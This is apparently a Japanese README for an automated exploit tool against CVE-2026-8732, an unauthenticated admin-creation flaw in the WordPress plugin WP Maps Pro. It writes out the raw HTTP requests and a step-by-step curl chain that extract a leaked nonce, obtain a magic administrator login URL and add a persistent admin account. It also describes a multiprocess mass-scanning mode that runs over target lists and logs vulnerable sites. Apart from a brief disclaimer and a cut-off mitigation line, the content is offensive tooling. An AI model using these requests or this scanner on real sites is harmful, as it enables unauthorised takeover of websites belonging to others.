
CVE-2026-8732用の自動化された8段階のエクスプロイトで、WP Maps Pro ≤ 6.1.0における未認証の権限昇格を悪用します。マルチプロセッシングとasyncioを使用して、ターゲットをスキャンし、ノンスを抽出し、管理者アカウントを作成します。
WordPressプラグイン WP Maps Pro バージョン ≤ 6.1.0 には、認証不要の権限昇格脆弱性が存在します。攻撃者は資格情報なしで 管理者アカウントを作成し、サイトを完全に制御できます。
この脆弱性は、FlipperCodeベンダーのサポートチーム向けに設計された「Temporary Access」機能に起因しますが、適切な保護なしに公開されています。
| 情報 | 詳細 |
|---|---|
| CVE | CVE-2026-8732 |
| CVSS | 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| プラグイン | WP Maps Pro (wp-google-map-gold) |
| ベンダー | FlipperCode |
| 影響を受けるバージョン | ≤ 6.1.0 |
| パッチ適用バージョン | 6.1.1 |
| タイプ | 重要な機能に対する認証欠如 (CWE-306) |
| 影響 | 認証なしでの管理者作成 → サイトの完全制御 |
| PoC作成者 | XENON1337 |
┌──────────────────────────────────────────────────────────────┐
│ 脆弱性 1 — 認証なしで露出したエンドポイント │
│ ▸ AJAXアクションが wp_ajax_nopriv_ で登録されている │
│ ▸ 誰でもログインせずにアクセス可能 │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ 脆弱性 2 — 公開ページでのNonce漏洩 │
│ ▸ wpgmp_local.nonce オブジェクトが全ページに埋め込まれる │
│ ▸ 攻撃者はHTMLソースからnonceを抽出可能 │
└──────────────────────┬───────────────────────────────────────┘
│
┌──────────────────────▼───────────────────────────────────────┐
│ 脆弱性 3 — アクセス権限チェックなし │
│ ▸ コールバック関数はnonceのみを検証 │
│ ▸ current_user_can() なし — 他の防御策なし │
└──────────────────────────────────────────────────────────────┘
┌─────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ フェース1 │──▶│ フェース2 │──▶│ フェース3 │──▶│ フェース4 │
│ RESOLVE │ │ CHECK WP │ │ DETECT │ │ VERSION │
│ HTTPS? │ │ wp-content│ │ PLUGIN │ │ ≤6.1.0? │
│ HTTP? │ │ wp-login │ │ wpgmp_ │ │ WAF? │
└─────────┘ └──────────┘ └──────────┘ └─────┬────┘
│ 脆弱
▼
┌──────────────────────────────────────────────────────────┐
│ フェース5 — NONCE抽出 │
│ │
│ グループA (API) グループB (コンテンツ) グループC │
│ ├─ M1: REST pages ├─ M4: Sitemap XML └─ M7: Slug │
│ ├─ M2: REST search ├─ M5: Homepage links Brute │
│ └─ M3: rest_route └─ M6: RSS/Atom feed Force │
│ │
│ ターゲット: wpgmp_local.nonce = "fc-call-nonce" │
└──────────────────────────┬───────────────────────────────┘
│ NONCE発見
▼
┌──────────┐ ┌──────────┐ ┌──────────┐
│ フェース6 │──▶│ フェース7 │──▶│ フェース8 │
│ EXPLOIT │ │ VERIFY │ │ ADD ADMIN│
│ POST AJAX│ │ Magic URL│ │ PERMANEN │
│ nonce+ │ │ Cookie │ │ REST API │
│ check_ │ │ login │ │ WP-Admin │
│ temp=false│ │ check │ │ Form │
└──────────┘ └──────────┘ └──────────┘
│
▼
✅ 管理者作成
ログイン: wp_xxxx / pass
ロール: administrator
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=wpgmp_temp_access_ajax
nonce=<抽出したNONCE>
check_temp=false
脆弱な場合のレスポンス:
{"url":"https://target.com/?wpgmp_access=abc123def456"}
このMagic URLは
fc_user_XXXXX(ロール: administrator)として自動ログインを提供します。
POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-WP-Nonce: <REST_NONCE>
Content-Type: application/json
{
"username": "wp_xxxxxxxx",
"email": "user@localhost",
"password": "Str0ng!Pass#2026",
"roles": ["administrator"]
}
POST /wp-admin/user-new.php HTTP/1.1
Host: target.com
Cookie: [admin_cookies]
Content-Type: application/x-www-form-urlencoded
user_login=wp_xxxxxxxx
email=user@localhost
pass1=Str0ng!Pass#2026
pass2=Str0ng!Pass#2026
pw_weak=1 <-- 重要: 弱いパスワードの確認
role=administrator
createuser=Add New User
_wpnonce_create-user=<NONCE>
重要:
pw_weak=1は必須 — WordPressはこのパラメータなしでは弱いパスワードを拒否します。
CVE-2026-8732.py
│
├── 📦 NonceFinder — 7メソッドによるNonce検索
│ ├── グループA (API): M1 REST pages, M2 REST search, M3 rest_route
│ ├── グループB (コンテンツ): M4 Sitemap, M5 Homepage links, M6 RSS feed
│ └── グループC (強制): M7 Slug brute force (30以上の一般的なスラッグ)
│
├── ⚔️ Exploiter — 8フェースエクスプロイトエンジン
│ ├── resolve() → フェース1: プロトコル選択
│ ├── check_wp() → フェース2: WordPress検証
│ ├── detect_plugin() → フェース3: プラグイン検出 + 早期nonce
│ ├── detect_version() → フェース4: バージョン検出 + WAF
│ ├── exploit() → フェース6: コアエクスプロイト
│ ├── verify() → フェース7: 管理者ログイン検証
│ └── add_admin() → フェース8: 永続的管理者追加
│
├── 🔧 Worker Process — マルチプロセッシングワーカープロセス
│ ├── producer() → mp.Queueからドメインを読み取り
│ └── consumer() (N) → 並列スキャン実行
│
└── 🖥️ Scanner — ユーザーインターフェース
├── single() → 単一ターゲットモード(対話型)
└── multi() → マルチターゲットモード(一括)
targets.txt mp.Queue (タスク) asyncio.Queue
┌─────────┐ ┌─────────────────┐ ┌──────────────────┐
│ domain1 │───▶│ ドメインキュー │───▶│ 内部キュー │
│ domain2 │ │ (プロセス間 │ │ (プロセスごと) │
│ domain3 │ │ IPC) │ └────────┬─────────┘
│ ... │ └─────────────────┘ │
└─────────┘ ┌─────────▼──────────┐
│ コンシューマ (N) │
│ Exploiter.scan() │
│ 完全8フェース │
└─────────┬──────────┘
│
┌─────────▼──────────┐
│ mp.Queue (結果) │──▶ vuln.txt
│ + JSON + TXT │ + debug.log
└────────────────────┘
pip install aiohttp
python3 CVE-2026-8732.py
[?] モードを選択:
1. 単一ターゲット
2. マルチターゲット(ファイルリスト)
> 1
[?] ターゲットドメイン (http/https なし): target.com
[?] タイムアウト [デフォルト: 15]: 15
python3 CVE-2026-8732.py
[?] モードを選択:
1. 単一ターゲット
2. マルチターゲット(ファイルリスト)
> 2
[?] ターゲットファイルパス (.txt): targets.txt
[?] プロセス数 [デフォルト: 10]: 10
[?] プロセスあたりの同時実行数 [デフォルト: 50]: 50
[?] リクエストあたりのタイムアウト [デフォルト: 10]: 10
[?] 出力ファイル [デフォルト: vuln.txt]: vuln.txt
[?] デバッグモード? (y/n) [デフォルト: n]: y
# ステップ 1: フロントエンドページからnonceを抽出
NONCE=$(curl -sk https://target.com/ | grep -oP '"nonce"\s*:\s*"\K[a-f0-9]{10}')
echo "Nonce: $NONCE"
# ステップ 2: エクスプロイトペイロードを送信
RESPONSE=$(curl -sk -X POST https://target.com/wp-admin/admin-ajax.php \
-d "action=wpgmp_temp_access_ajax&nonce=$NONCE&check_temp=false")
echo "Response: $RESPONSE"
# ステップ 3: Magic URLにアクセスして管理者としてログイン
MAGIC_URL=$(echo $RESPONSE | python3 -c "import sys,json; print(json.load(sys.stdin)['url'])")
curl -sk -L -c cookies.txt "$MAGIC_URL"
# ステップ 4: 管理者アクセスを検証
curl -sk -b cookies.txt https://target.com/wp-admin/profile.php | grep 'id="user_login"'
# ステップ 5: REST APIまたはWP-Adminフォーム経由で永続的管理者を作成
管理者は以下の両方の条件が満たされた場合にのみ作成されます:
┌───────────────┐ ┌───────────────┐
│ 条件 1 │ AND│ 条件 2 │
│ バージョン │ │ GOLD 有効 │
│ ≤6.1.0 │ │ │
└───────┬───────┘ └───────┬───────┘
│ │
▼ ▼
noprivアクション WPGMP_Temp_
が登録済み Accessが利用可能
│ │
└────────┬─────────┘
▼
✅ 管理者作成
| 条件が失敗した場合 | 結果 |
|---|---|
| バージョン ≥ 6.1.1 | ❌ パッチ済み — wp_ajax_nopriv_ アクションが削除 |
| GOLDが有効でない | ⚠️ PHPクラッシュ — WPGMP_Temp_Access クラスが存在しない |
CVE-2026-8732/
├── CVE-2026-8732.py # 自動エクスプロイトスクリプト
├── README.md # プロジェクトドキュメント(このファイル)
└── LICENSE # MITライセンス
WP Maps Proを使用しているサイトの所有者の方へ:
admin-ajax.php へのPOSTをブロックMIT License
Copyright (c) 2026 XENON1337
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
このツールは正当な使用のみを目的としています。 所有しているシステム、または明示的なテスト許可があるシステムでのみ使用してください。許可なく使用することは違法であり非倫理的です。作成者はこのツールの誤用について一切の責任を負いません。
作成者: XENON1337
| フェース | 名前 | 機能 | リクエスト数 |
|---|
| 1 | 解決 | HTTPS/HTTPを並列選択 | 1 |
| 2 | WP確認 | ターゲットがWordPressか検証 | 0 |
| 3 | プラグイン検出 | WP Mapsの指標を3層で確認 | 0-4 |
| 4 | バージョン + WAF | readme.txt / CSS ?ver= 読み取り + WAF検出 | 1 |
| 5 | Nonce抽出 | 3グループ7メソッドによる並列検索 | 0-150 |
| 6 | エクスプロイト | admin-ajax.phpにPOST → 一時管理者アカウント作成 | 1 |
| 7 | 検証 | Magic URLにアクセス → 管理者セッション確認 | 2 |
| 8 | 管理者追加 | REST API (メイン) + WP-Adminフォーム (バックアップ) | 4 |
| コンポーネント | 技術 | 機能 |
|---|
| HTTPクライアント | aiohttp | コネクションプールによる非同期HTTPリクエスト |
| 並列処理 | asyncio + multiprocessing | マルチプロセス + プロセスごとの非同期処理 |
| IPCキュー | mp.Queue | メインプロセスとワーカー間の通信 |
| Cookie | CookieJar(unsafe=True) | クロスドメインリダイレクトの処理 |
| タイムアウト | asyncio.wait_for | ターゲットごとの制限時間(25秒) |